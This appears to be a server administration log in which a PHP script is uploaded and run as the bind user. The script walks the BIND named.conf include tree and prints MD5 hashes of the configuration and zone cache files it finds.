MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:00:08: Establishing a connection
2026-02-09 14:00:08: 

PUT: /tmp/pkp731393

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:00:08: 

runuser -l bind -s /bin/bash -c '/tmp/pkp731393; rm /tmp/pkp731393'

2026-02-09 14:00:08: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
